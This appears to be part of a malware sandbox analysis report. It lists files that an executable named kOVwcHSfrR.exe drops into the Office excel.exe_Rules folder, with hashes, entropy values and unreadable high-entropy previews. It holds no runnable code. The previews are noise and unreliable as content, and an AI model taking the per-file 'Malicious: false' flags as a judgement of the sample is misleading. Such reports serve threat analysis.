Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.882881069631493
Encrypted:	false
SSDEEP:	24:rI6jKgh+3gw2fNNvemj5su6q/102+HgB4ZEf9vx0RecFIRZU6NhK1OVHw1bD:7jKyes1xemjau6NZqvxZhRZUmhGOVHyD
MD5:	0803971E0B300B253C3D33C7909FF79A
SHA1:	7740FB1DDA1E39931B6815A67E1228185C2C2BBF
SHA-256:	270704CE3BF90F649A3F246E7FFB2BAC4EEEBF6381766C06A881DB2D5DCF21E3
SHA-512:	B89EABDFA9D0DCE08EDA672FFCDD911ABA2EF1752042D4E8196A128610B105048201DC2E6CEE0459BE6166BA90029CD27F516AFFE41EF68EF3067CC657B83D13
Malicious:	false
Preview:	<?xmlAolN.d...?.\|}...,........'XQ.`.Wbwu...,.pX.v. 5.&.6\..._.Q#.n.`........s...E\.1..-@MO..c...=.M.v ..60.vAA#...$..8...r...2`PK.r]B.w..h.....T..$..;u.u...qD:O...V.l8....Z....S. .l..#_.7\.3.\E...)$W......S.....KSo..Z.....JR...2i.!.........C.....Gv....Q..5.a?.Gs.]6.....9kNH..<...\|h.Z)..Z.k.}..c.o#....?.T..8H.............S..]%..C..V@.32....=.4.KM....^.%.......z...E.RX..S...B]a....o.T&....3...g..=#.\|..5"y\P....b...[..#Z..A..$.F6..a;....l.4:.j-!<.N...";....R.F.e.......{.n.<..._..W'..1..........J.......!.!..U...W...sx.c...@..aO....1nx.`s.)...r.x..%h....q-"d.hM}B...b..v.H....n.....F..\|tB.f.1.:.&].....^...._!dm..{^.sZ..Ggo..B...$...n0.{.F......8iv......... ..%9..,.d..!u^..T.....}..v......H.:..._..(....g.....RY.my.LU...b.A,^VU.....O.........h...@.~.K. )....V.wd^.z.h..N........0...[.Q....0:..di.....[.N..c..)...6. G......I..A{.kT... .._.IQ.E9..e6e.......d.`..........*.Wm...T.._a...v...=.........C...ef.F.c`Yb....^.F....#.....V....T..Mo.6.e.L.y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.863690187028253
Encrypted:	false
SSDEEP:	48:AXskuK0r/YQ31wVh9UiKMbw7OiQAqFCNvbyD:vDRCz9UiKCqHQMVba
MD5:	9BA64D0CE4C8E5A84D6525F8A113A603
SHA1:	543FE17E6B2A2A65E5C0C7F29FFDA6BFE841419A
SHA-256:	BFEB512007B91269F020EA513FD8CA7C6A129E67017B3272A020A91FC901E604
SHA-512:	49A719340DF111976EEB0B6D89F85959490AF7A2A0FDB8E5088200805C8C6025CF91337E1CBC299EF6C2223010D5DCD6E12D0E9C70334A376F4FE486EA10CF9E
Malicious:	false
Preview:	<?xmlrD....Nl..A.........?...{g!....".."\|...8h_f.}..x..J$W...0...uI.../.o.,N.QC..$.2..R...XWt.Xf..&Cq.C.I.....nK.M_.n5. (^}....P,.'.df..e.-Z.?......"..T)O... ....T.y7..a..M...=%......+........3.YN..".YY.wl...2"..C^..3.D..vP..3ij....v...4.9...s.t.Z...........q.i....4." .%m_P^Q..Dee\|].b./ ..!.\|N..-.l^..a2..\|`...8~..........A.....l.....(...@..!.D..D.>......b.q.w..7%qUA<.....i...L".>.....].\|....{.0VC`.,i.\...&.S.#Az..AgF...0.A..j.^q......K.NZO..swX......N[R.D.....1.5..V.iqw...u.z........V.;.x+1..-...&.ub.p....KN.b. ..S.o......F./=0.D...M~T...B...e.D.. ......b..K.P.7VQ..z.E.Jd..4.`..b.~n..M.K.6..m.R..u..<HV..3Y.zu(i...3o..\|.....1Z...l.i..?.../._..sx...U9...9......e....?.]j.....Q.D.......a..."/;lY..6V.1p...Z%..a.-...0..-q^2....s.k^................U..2..Vw.-.?\|E..7..u.H.b~.N.S....$..r.X..._.~awm..X!.....P...$;.5...X..X..O..}....T....8.xg.1V}......g.]X..'...Gm8..Ox5+u....;..)j.M/....R.u.......[s...DP.h..i.7n.i.s..y......yL........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.895212343290955
Encrypted:	false
SSDEEP:	24:ujjkXfc5sGmjK88VwkNi9k7UTvQuPg1L/NewyrhaHXiiUzRjSu4YyR18w1bD:uHk0gr67U+lfyI3iMuNJyD
MD5:	4091D088238056E6919AE3126D386713
SHA1:	FD266D37545D12D5DE8252CF4F2CEE0DC395A322
SHA-256:	67CF87E4B1E4FE09D9E45968BAB80AB4F98E8CE1AF70ADA509FC4303F4F3C73C
SHA-512:	0C33D7C5BA61F7F39C77717B6CA31423B659A053739EDF2831B56161C68E3FAC47CE3BEE2B1724EF0C08E24008F83764453A5FF3200A7E538857E6D6087E3C72
Malicious:	false
Preview:	<?xml...............+..J.Y.\...q...._&.J..GW..8^7....wZ.....Y./.S..{.f...D<.[!...>.O......71...i)..?I.5...l..X,g....N.X{yM%^".......@%..@bn5rO...]..5...............5.7o.V.x...v.....?.)...E.)O.....A.alj..F.Gb.I7........;..@.....=.w...n2%&& .=..0z.....UNI%0.6!e:U.G...(...6....T.g..53..H..6~....._...,.....C..Y4. U.7g.S.q....t$.....z...1..i.i...!..<:..m.......^.QKK..+.5}...XxN..W......1.:..._...l...sMm..:4.8........l........~d..G....l.+....l....0..M........;..dNm..K.. .........H..#.Tt@.....1.L.(...0V....cj.V2.k..i....d._aZe..g@f5.S.a....t.x.X.P..5d.rm..B.A.J....:._^.v.iLz...... .5..,p.\.8........hc\|......q.M...(.:w1.m....c.....A.....(.l.W.C..h....)f..`.N..>...[.N.CU.......{.y.<......A...........9+............K..e:..yP.J.......O.....cA....l7,..?C...`.e.A...[.)&..iq>Q.@..u...x.Y..B&...Z....s-..O.D..ep.Bu.~?w.. .. ....`.9..\|z...d.#..G.P.oDx..g.)....<..DH..j[V..4......\|.m.'...N\|......k@....5.....}*=..X3...Y.I..M......(-..C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.869060935636125
Encrypted:	false
SSDEEP:	48:LeRb8TCx/KdKAOleFxIJT3MIIrB/TvYu7xzeXY1CpyD:LeRgSidKAOseT8DguJOICpa
MD5:	30467442713B4938E0876443B0542893
SHA1:	AEA98A37A2D034A34E3CC5D6CA06C02424420CDA
SHA-256:	497E2024FBC424EEBBEA55AE117FF7289F8AE8AF3B683FD5D48FF4C4091ED942
SHA-512:	9E619E573EC930767A5682499221BB65F4728E590EC2C2DAA981974FA3A50993017BF9A4D195CDC50D189FA33C0A47209624E0D347F2C2B0D789F20643A802E1
Malicious:	false
Preview:	<?xml..@6I......57...j.#...s...T...0...I.6G...G..+..w.H.$...~..}......E...D!.!..iY.p.h.=.hf.-..3.0.o..8.d....)BO...V..n3...zAv. ...Qa..L....kv.w.R...{0....,Et+..G..g(S.7..._..oOo....]jJ..S...}.z..Co.m.N..('.........e;.0..z..'d...........(G.lZ.=.K.B..H:AN.U).'.R..s......f,....`J.6...m.At}...C.r.8...r..B...4...6.\|).v%..8j.F......[.[.._..3.....CFx.N.\|S..DuD.`WT.....a.]..(8.A.(=JN.I..N#.....-..G....x.......fS...>.ha2.$K$.:...t'q...>.=....W..4o...]ys.6...K..q..g'o(./in...X..-x..$...xbY..q....x<io.G........{..l<..v`...:..k.4......V.^O3.^SD..u7k....k.m..C..N.v....WD..<`5j.7.o..K.'.K)...6.#..j.......:B...J"`..='..........)...M.Y..Z.GR.-Fh..4Z......P..\|...D.I[&I.hd.X...?..7..J.....@.Eq.C0.M....(F..{q.. ....h..a`Aq..!G......0...G.JT."......Q-.S4'9@.R..g a.k.c.n.R$..........K.+i<..cd.8tu.x..].(....n.....:. .Eb%_f.[l.x.b=&;..Ao8.qr.....+.u.....[.7E....8.(~.B$.Z.o...jZ....B..9.A^..v............J~..!s...l....[!..$..f.9n..h...b@.L.7..2.T....7A....o......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.874062829473445
Encrypted:	false
SSDEEP:	24:0pRjcaeiKVlzFKn8tCyinjI6Jc1gytpAGXZ7wUcW3m6mkFSxmwT2GxJ/bKmfew1X:WQapK35K/jI6uXBCULUrcH+J/emWyD
MD5:	928ADD16524166BC2ECEF594F7B76CD5
SHA1:	6505C4500E57DF55ED363E96272D6A727455559B
SHA-256:	AC3A6FFA8CAD40371D337E8686F247EF6B901D50E53A6761968D844AF338319F
SHA-512:	507A0B99861AA13B05E51EE4037369373A3184BC213F03F3D8BEA5C5BF0CB07D21BA6910D03F11A4B4F23F9F01BA4D94C0BC6FAEF669EEBDE865576B79EDC26D
Malicious:	false
Preview:	<?xml.....y......_...k.b.)...Bk]..>c...C..3..A..'z.F).+.\|Bt...u...I..W......'........B...>..S!2.N..g.C......4.h..i"j.i....E..c<..nq.EJlD....>...!$.6^ .....O..BY$.gk....4.`.`..s."%.z8.5....2<Y..p.b.{.RmgB.;A.~2..!.Y..'.!,.`....H.7n...k.2.m..c.o.H.M......d[.....5......{..Gg.nh.w.m....Y.t.L_4{.A{.;.r,.a....+....f1h..X:...!^...t6......a....jeE...f..b...#."..U.].....P..Gz.1r9..g.i.2..c..........qQ...l.:.).a.Oo.n.g..6.b......dB....8....A..;/.......a...~.Y.3.Zp.N........B.]a.Ew....C..["..Hy.....=...#ki..y.l!(..2.....}..b...]#.:..b.(.#.=R......v..r..@..~:#.).,/I..>...V.q.MK.jf..\|]..g..K]....Y...=...^...8.....s.sr..(.....d.HM.W>.Pv..T....@Yj...;.........."W~.qZ9v..l..5.}.].O.8.#)+....O..1.....<E...x..E...E..h......V......K{...~?.."P.,.......y....LksT..A..e2(c....I.;......t..B....oT$.l.q..<.g...G.P......~./.........}..X.V".)...>..%..=<.@;..7....M.Pqkz..L...N..q.N]}....86.H...u.S...t.. l.........e.m.9.....#.p.i.h.}y....XR...k,.=........F...!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.879775902944321
Encrypted:	false
SSDEEP:	48:ssOaBsl6ItEpmyJDyg0cdgLGyukTlTVsePN21yD:ssO16N0yZ1DCiyu4psQ21a
MD5:	291423B439BF9F2C9B18B193B004BAED
SHA1:	86A9DDCB694A96157BAF4956EC869694AD445DDB
SHA-256:	32669257394F143975EAC8E41E6EE495EBF4502659E7ACF5CFBBEC9B2F740817
SHA-512:	0F8C82B98E0F4221F1F02A0F3F0207240DCADB7782BCAB46A4375AAD2B539B4DF093AF1CC3FAD41719B593A05E43D54BA789045221E52D9545D5DE5D860D244D
Malicious:	false
Preview:	<?xml...X...s.:a..a..+.<.pA.#:...J_.......\|.1.J.^r....}.$...A$=.T.._.R.........4....d....z.S.x.:..8._I.,..9...1S^3.>..}^..g.0.m...~:.o^\kc.^5....v.a..(n.O.......\|..y..l5.#.U..s[..i.L..[....k0.....^....Q....CF..@D..P...Ti./{V......\|Q>..L...]Vu{..a..q.8?....H.......ovbz_K..!F...QM.......Rj.......-."..5.Vy.......Y..{.....U.&9}....R.z2jZ....-S\|.st0..F.b.R..W.!x...#....\| g\........D=.L.......K.x.....nO....x....X!_.t.rr...#.X.w.S..[...+\h....7.'1.!..R.rIN.-.].V.q.MJt2.....p<...@.YX..J..Y.C...hB...v..w......g.?Y (.->\q..(.v....././...A.8..5...R.k...z&_6S~.F....?.q^.!R>G(.....-......C.y.2H.BQ.k^..,.%..G........-.Te... ..r.,..-y.R....7F..Qa.+]...4..z".l.1..M.....jH..]...L...B .C..r.:...7}.%p..^.......'-.pk..!5.......'J.Ec.Y%..gq.3Z..l..........i...}.W..cm...v...'..fP..)....nU.%P...w.h.OZO7T........W....Q..#9.#.c..d.<.r.....M.D.'.Y5A...e.r..4........'.......3F..).A.29.N}.9...#..{.w..h.k.......b{..).`..[.....P....DZHd6B....e..W.S.1m.gi}..8.v.Mi

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8857093356568715
Encrypted:	false
SSDEEP:	48:THu9DWno8yv1Jnkoc73I26JdS6yRMXuKx/tqFhXNCteYyD:THuQo8xoc734aRMXuK7kXbYa
MD5:	38220947BD43497FD6AF3EDA082DA17A
SHA1:	3892D0F409EC8C636BDC8D7E15EFA34639177926
SHA-256:	1EB726EF16147D147A9C4BE1C120BF92F0AC7588FFF61C07CE2FC70042F4995C
SHA-512:	1917CC3D9A2340E25261E5D8D58D1EF25DD9040F5549F43FFB9BC2A99CA5E3251453AB2664A09FC348CEF57E9E0D828EC4C5C1A4E270A6B0EE44707372D23115
Malicious:	false
Preview:	<?xml...<.....K...3.K.z..E.0n..?..[.......p9X..F1rw..#B.......%."....5..>F.u..F@..%o1..&.....9.;..+..d.nY..)_.Sit.D.u......G...H..E......EZ...........Y.s t..K.m..c..-....wO.>.IRp;....a%.&#.UNz......2>..p....!@\..E....q..->)..%hA:/D..'Fw.\v',d`<..Zs......:....vn`......m.....sa.a.O.....S.Fh.......A...lo.s$6..5.@%Y.X.B#...w....6..0o..7M...p......).y....Fr.$..<.[..t...%..tq.6>..j...[...2.G>.........:..o.....q.<.?.C:O.>4E..@....oX....2~.A-..4...n......uP.<x?Ho~....T....Y%.eK..mtk,.0.x.fvS...(..u...1...M...A....x......O.[.GQQ..S... j.K&..D. ).....S.4...D..4._5..M...b...f).MU}..8..;cbqd.OC.u.d'...m..-Z.a`.U<...H:....C.g.<.$..V....A..f..r.9^.+V..s8.....2.8A.......:...........t.. .~o;.A..h.'...v.}.2R.e.(pw7.....>S.....`t..IE7Yc.on`.......Y..\.{;.y..KE.n'Y.Y..#.._.....QQM........".g...JR72.c.a.....l...l...z..'.)Y..y/5\.]g.9.&....}.7..U.5y.9Br0X...H..:w.oiz..m_.]t...Dy..9.~...F!.E.`&...!8.mJh....(........m.....XD$y..C.C....F...M.h5.. ,).>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.883519985361102
Encrypted:	false
SSDEEP:	24:aNwGv9YCVijrZWEJ5gqMdu4Cuhdid3WFoBAm0zapA1zUMwBzpgKVSz4Cw1bD:amGv5V0UN1id32WA/+AkgKIzLyD
MD5:	5C79D7A7A0E4DDCA2181C76FA53AC281
SHA1:	E4941E015370108CD823356AED58AE324493E8B9
SHA-256:	273A8CD396FEEE77D9CB7E50C632ABEDC2BD37595440A2475FA8FE072A36BBE1
SHA-512:	E542BF6A2CD12C04B21441C7C85DF807C15D59DBDD3E409B82DEEDCB04C5A040E44B8C84755AC2CBA1AE4808D9EE7AB5B5A4FA1E24E2FEAEDF2122D1D544867D
Malicious:	false
Preview:	<?xml.C].......G....o5.....D......g,...y>1...PZ..-..%.[I.?.%....?]u.W.y....{.dt...T:..S..fv.B2Im:..7.....n...c.2..!d..K.=~j....J........R...xdD..D..4.d.?. ..F.A'..{xAmXw9.Y9"..d)..h...?aD.Z.!..-sP...L>...2.....Q..@..g..._.._G...Di+bT.........Z^.=....]..yv..uil.. ....5......Z,..u_1o.t..9...}N.}\.U.a..}Z...J.......~ ...l.........6.5\|._........`..G....q2..x.2...Z..D~.APB...$.s...h.,.\|C..T..:...! $n.f..7.....p^..@....N .M....g..=....Y\..4.~.}..Y.P.#&..)ve.&.WP.v....Pn..A.G)...zS..$+.X....vt.).....e.5;...M>...-1VzS.I..~$.......~N....}.t.N.8:...+......f`..V...Z~..A....r.xT..:..U.F...=Q;..gC>0E...'.K.Uy...2...'SA.........l.X.4$.......X`.X..?.."._....g..$.......K.I.o...0(r_..N.+8.EO.[O..\5Ey.....WT.BJ8.a.,......e[vE.1...:..TJw...........9.k.{5N.....R..".........m......I.!..k..3..S.3ezoh.....fa4...p..e....\|../2n.k.O..N..w.g...............U.0.......+H<.a..h?..Ik.HS#....5...>...L9jr>"P....,..,2p...3.M..pt.0.%OY.".......}.3.-{.K.^..#c.D.Ww..UUL.0x!.h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.866866565366425
Encrypted:	false
SSDEEP:	48:Hz0M/xkcjmAkYTcOutRe4DsYCu20S1oyD:HztfOb4u2aa
MD5:	1FB349985C6B95B0CD45D7DB211E0C44
SHA1:	4DEA0108FA0F630BD02397BEAA41267E22F86D84
SHA-256:	C9F806A5F5079E503CD59D4748B0157012E2C6E0F3261BB137BAF42A4B1803E3
SHA-512:	2AEA61297463BB7B16AA82567B2EE8AD7555067F2F1B5E2D4CD19190908891829EE8BE0B57E51AF068E0B0FD66C924E38BB5A75BE816025AA4D0F2506CAD4481
Malicious:	false
Preview:	<?xml..].'i.a.vv.S..U...).0..z..T..R......U.X.-..p.\|-.v!....m...%....+..i.$........`(.6..J...............a.J.@\|w...\|.N]._!...5..O.L..S..=.!r.a.B...=..f<L..K(.......`.v.)1A..B...p.i..v. L...{.U.MJu..Ec..K.7K...J.<6r.V.Yk...w.0.z...-U.....`..O.,..^C...S..z.7.. &.....OV.........m.y...~fDI.{...T.;1.x.H..L.}.....k.xcc]..,O./..@....).9mb.U...0C-...L...'..XT.....3..;4.....%....1......Q...".5vI@^w.Rd.4+E02@t&..V....}._..P..f.!..t"...~. m..Z.`.D...a..'...PtX.Br......Dgw.iV..a$Y.B....M..W..z.~.....g.l...mO.r.....E%X.".....h......V..-.\......~.Rg....9Cw...H..%<......=..r;D../h.2.H.....F.}p..S.....a....p.X\....;f.tGJ......Zx]W.mbjH..[)........!W..<#1.....hJ\...x..n....E...){K..8.....$.3.LQ4..sO..P..v3h....4\|OU.....l.R..L1.[`u{/'..k....9.h....t....j...Q3.iJCq...D~.#.............QEN.; ...2X(.u.-.....w!A...Af.#M...eS...............`z.+f..ir.M...._...-.KqP.Hyq...6.lh.g...I\.....3a..$..p.$......`...0H^.v.\|.L._X.8.......F......*.y....z..9.B...q.V..,y.A.."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.870530887522269
Encrypted:	false
SSDEEP:	48:+wbByEkZWyV/36GH/Vp59KO8ss1hE1bnVwyD:+wbBZ9yb/VoZ8nVwa
MD5:	14FBFBD948010AC2F4426C475FA0D0B8
SHA1:	3BD924C400ABC00B3A497CF5972E23F4543010E3
SHA-256:	46255E67D119264CB9A90C30E0BC89EA681878340173A1C2DEAC977B1BA5377E
SHA-512:	63DA3F76D56C8D3E5F2C32A01CB60C5AC192E118E773770431D3ADA33CCC0F468BCC6B10120847372DA13571B5EB41647616C82D4A57A6475134F737540CAD40
Malicious:	false
Preview:	<?xml!.\4~Z..P.kj.1c..@j..T3.Y.<....=.?S.2...<{(.THt5.&'..!N.'.........0......@.5..O.I=...-M.a..PK.;..P...V.Tp.P..?'.K..Y .....CV.....0.x.#t..5....-TTm..\/.+.zY..V)1......7.^?1.N.'...5b.A....^%&?.h4....-.]@...J..;.f=...J.O .'z..J.t.G.w.....m-=..t.9...B.r.K.c:....%3..u{...UJV..y.[..T.^....#.y.f..vG+.Q._U...&....AF.v....a.}.%w.c.AG...U?.h.f.$.....MF.Q..uV..-5..._.g.of(hS.a..\....6..6..M`Oi#...C$.a$<u.v.h..CN.E..1m^0q(;_..w..U...`?...\lt6!K.h...4..kF. P.uZ..Rt\|4..0$o.o.Ff....I.w.tJ.....}.VQ1...p.%.....7.y%.w.......+..s.^J......X4.....r.X4/;...!$>S.&x..u......./...U...h..h.P,<.......[@.........v.OL]85.R..G.!+.q.V....m........L'.....(=`.U.....].mQ..U.R....#...{...2.?'..#/A~.9.E.X.lN<).....m..$.@......H.'..B\|>..{.F..w.......-.&v.$x.e}..>s.ik(Z...Q.^....=?......8......lz..Q.m.D..k'..U.d.j%....P.fw..5.Dp.K..%6....=..ri..Y..]#...mN..l. .....bc.....}V@.!..R....@..6..Ku.jo..+y..@.J...>(.....V.y.....=c..Z..%.... .VE../=.g..`_.?....EN....*O.$.u.s..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8911777987778695
Encrypted:	false
SSDEEP:	48:Ck/fD1A4Uno+ldF5K5LIBDNpkUMsFvsO/7TFPQyD:CknD1AXnoEdeIBgUTFvBThoa
MD5:	EEF96769E3D12270CAF5DDBE7B02D2D8
SHA1:	457DB3EF5C2832B3DC0F7CD9FCA5527F5409B944
SHA-256:	7A8C4F4BAF03E9DAF6166776D91138B91A4695F00CEF370A9953C46C674C4A6B
SHA-512:	16763FD4481A36FED24180961E845304CD4D93F816E672156856F5F1228FA340F171EF957491CE83A9ECFFB678D63C768A6929F4157A7455FE471B679DB0DDF6
Malicious:	false
Preview:	<?xml.<.vf.}Z...V.j.crsbf.....N<Y.....d&A;.....u../.q...K....?..S.jF..k.....(....x........{..`MX}.uz.y..Z....\.....].%.o.Oz...z!vK.Y...l.62..j....a...:m%.0.F..i#...H.]..0..u...k.1Y.~...3...0X.P-HYd....~2 xEg5V.."!ed.g+].y.f...6..V.O=...Q.D..VaB..C.t!...-.M........93.....H.]V.I"..1p....G.oq......W5.N\....-.x.w=..E.R.}...UC<k......?..@.._a..(i.^N.$..TF..l...&.\|_=.P.).j...t...T.O..4.....GB..ks.!.._...Mp.D..D.<.A.....r.t.s...-.vA...$4@....U.UL...,__s'S8.X.st...X.x.k_..8..d.....T.....,...?5....C.O`.d.`A8.c...e#:.7.... ...4.U..Z.....nb+....5...t...S'..#.5m...{?lRjv~......N.c.....h....x...r....\|.P....J.......S.T72]..&[y....c....i%..;"HY........s.ir.}....!.@.c;...>ap..i..zr.v_F....L.@.%$..!q>Pm...S..../.#.....t....Ic.....N.E..'..EL.4.wa.z..B....$.).,...S...\|lK.....E......d......d....D..Xj..n.....)B.}Q.f.......&x...\|8.k...Q..1....nY...8.A..G@+...B.U..`..R'.6.&..M.#........m....$.{....1.......8.=..th'.).>y....-Lb.y..V.\.wP...q.a._..?...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.897546418656225
Encrypted:	false
SSDEEP:	48:AM+gpaZqL4J0Q3m5cWExjF34Hp0P5cMPLXyD:AHRxgU7IWOMba
MD5:	3DED48D0A20483724C3388CD409D2CB0
SHA1:	0D838FD8028EA3173652B1650268EFB6E4B04234
SHA-256:	ED103CD720051497F08C5FE862C13BAF511C03F85DB8D8A957F592EA30946AB1
SHA-512:	55DCD8CF160441733DE7AFAE4882BF2C51D2C05DE4C82A81A44023379B621FD54961E688F52185BCE066238656459312F079C59BC49A01289804D82A330AE52E
Malicious:	false
Preview:	<?xml?.2./Y&.\|.,......7.`.C...%..\|:.~1..j....Wsv.s..M.".1..)F. .\.....L.}..V,&..Kz...+...\|YV..~...fQ6Gy.#.jn2?.,)>.qW0.TT.........~'..n!...L.p...1..".......hx.m...B/T...........Z....;\|...ek.8. .F.....0v.8...f...;.m.o..F..f...#Q.MGx$E..._...C..P.z.>.].c.............h8J.t.=.1W9g..Q.T9Z8;{U....aFW... .Z>.......C..6;...zR.0%..]..........\|..5.C....mJl....R..>).f`.../ .}..h...g.....<..s.......>.fd....1.?....;&/..9?..l.Y....I.C.'..O.'M......z)yE..SI.....6....c.=.@:....B.....Q.........):k...L.l...`..Y.i.........eqA..0..Zp.b...I .....6.H8.&..r..*.O....=..f,.e..[#..-..q5....2Tf).h..cp./.....C..L.N.\|.]6b.i......>u....jAx.r,0......u...U2..54A9..;...nW...<.3)...}.x_..w..@...=.....)...C..4..J.l=e{.]....w...c.Cd.<.../t..b(.`.<....Z...b......[G..G..q......?. ?.g..(. E...3.'e..B.!.?V./.m.~....=..V..._../.$.Y/$.u..6..F.b.....q...]...t..h.G@.5....h.U.U...w..\7..._8M.......n.lX..y.O.. 9..".....u....f.+.j../}.`..z....Fu.Dj..g3..rJ.6~....Q.e....Y.c....g.K.b.X....+%

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.891576171358144
Encrypted:	false
SSDEEP:	48:kG0uYShI+LVmgRCbXYaomabfsOFcbqIVE1sHDwyD:kGBhGvomeFcbnVEwwa
MD5:	8A929F88E595B55FE36D791CCC711F4B
SHA1:	B9F072FEFF3701BDBBB1C3755F44C4169FC3FC1C
SHA-256:	612BBE6BFCF3A4B55FB41E4FE61B23F3BC8B89A32CC8FC34DF3DDB2D65D871AF
SHA-512:	16FE33AE3038066AD7B5BE5574D3236A9EF72E93C5C7318BD2269C9CD0606C1765C8FA129874CB880D926ECAABDA0769C999423CAA1DFCF1C04970491093CD96
Malicious:	false
Preview:	<?xml..T.1..}U.B.;...A.IU.S.z...................Pj.Gup......h0....Q.y{w...d..V..=.%}......!...l..t....2tg..z....Z._\|.8..^h{......A_=.S..U/.G.?..%H3.K... ...m!/...%{..#....9=.].x...g.9^d.s.....u.....N....\,.JV?&..C...L..m.9....+H~..}V..+N.......d..R..:1......7..r...YF.ZF....mo^H.?'B.e......V9.&...k.T..4".`[..p./R..2.P.y..x<..\..4.._.k.v....".h!....}l.f.W...-..J..sh....^..>.......~.j-...w.(...'.W=.r..i..$........2......L]t.ry...U...%.?R.1H.pu..n.R.b9.!-v]...e>d.v.....3..l....[7.....N($.dW...k.mf..i.u.B..Xu.Xz.....D=..+DH..u}`.......%$.7....d........Qp.....P...a....=W.hc+=...z+A.r1."...p..F..c...<T.b.3/......'....p.to%.."....Gw.......;...IF.....:a...W...2....}vn`.=.\8..^._{....BzX..<]...$.O%..4..q.f.$..v_.1....I.?[.z.]...........8..(&..D..9.....:..sY..w.[.a3.....-Jq.1.H...s.`..jT.)..=.._5.,.....l1K..$..;........."..h?f..L..(T1i...?S[.......#..-Q..{.)...i.I..;Yp.Y...t..W...8.s%b.MEq....EK{g.s....V\|..... .....?..~L...J......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.888128633934605
Encrypted:	false
SSDEEP:	48:aHeekNp3g7/7ha5fxCbEbpQCBsHe6k90kKFdyD:7vNe7/70HOCa+6k90fda
MD5:	FEB42C7BEFD3D1E0D15C230E2622FEB6
SHA1:	02816CB0D1FB518455AF5628F2983048C6A7B163
SHA-256:	5CD00676A3C6E61090E4FEFAE9AFEDA3D96EAEA5882C8C4DE9D71A96B6CB1BCA
SHA-512:	FD8475DD0164F3F4C81225880D3518FE049E1E781174DA857B0F59F23AEF6673E688D72487664C21408C10D6F91B4F6211671C79D94463CB6D2C4206E58E1275
Malicious:	false
Preview:	<?xml.B...y.1.a<......Yg...4..j.1.$.Us.Z.{...r%../......{..S....2..?kBX.......b..j...$J.M..J.......01.v.0.Y$ky$.}......M....0....W1.!.....%.7.t.y. ..t.8.~..v.U5...r.."...G....'J.$d...B.g.&.CP.{....0t.. .....`.K{5ZU6......s.\|..aF.&SH(.....N..j&....7.S.v5.j.2...W......w.q..B..b`.y....2..q..._@..J...j.......j$J{......o...+;.mR.....:^...".!^.......r..z.....p6M.....[......3"...,.....w(....v.;4.p.@2. RTI<&5......T/v&.EK..H.bS6T.....#;^....'W[...W.O.!..[!._.h.d4#..$.._'........9........O4..G..-......o.).5l3.2T..T........g......#U.;i?.@.E.f^.p6>r..ol..f.(y......P..\T.D...>V.kz..E.[........v......\@y.....-_..m..L...G....."'.........1.?....#...1 4Q..Y.....q.b&t..z..D-...To.....%..i...b...........M.L<+......[enz...I....)7.aC..?q..n~M8a`Yia........6]d...SR...X..Tb........n...}S....b..X.D^....H.^.4.X`..!E.w(Y.].:C...K..Y..k..J =.cY?.m......~Q..v......Q.8.x.....s5.......A.qb.....].#d...."..}q..L0...O.s. -6.sw...G`.2."J.._s.Q..dk.....=xu_rr.....r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.8856281166762265
Encrypted:	false
SSDEEP:	48:+xTcNdShiu7Wpl0zC8jfU7fH++kcm6I+7ikN+yD:+x4/SX7Il0WeuHnkcmEikN+a
MD5:	2A07D13E6138C728ACBFF54CC8AEE561
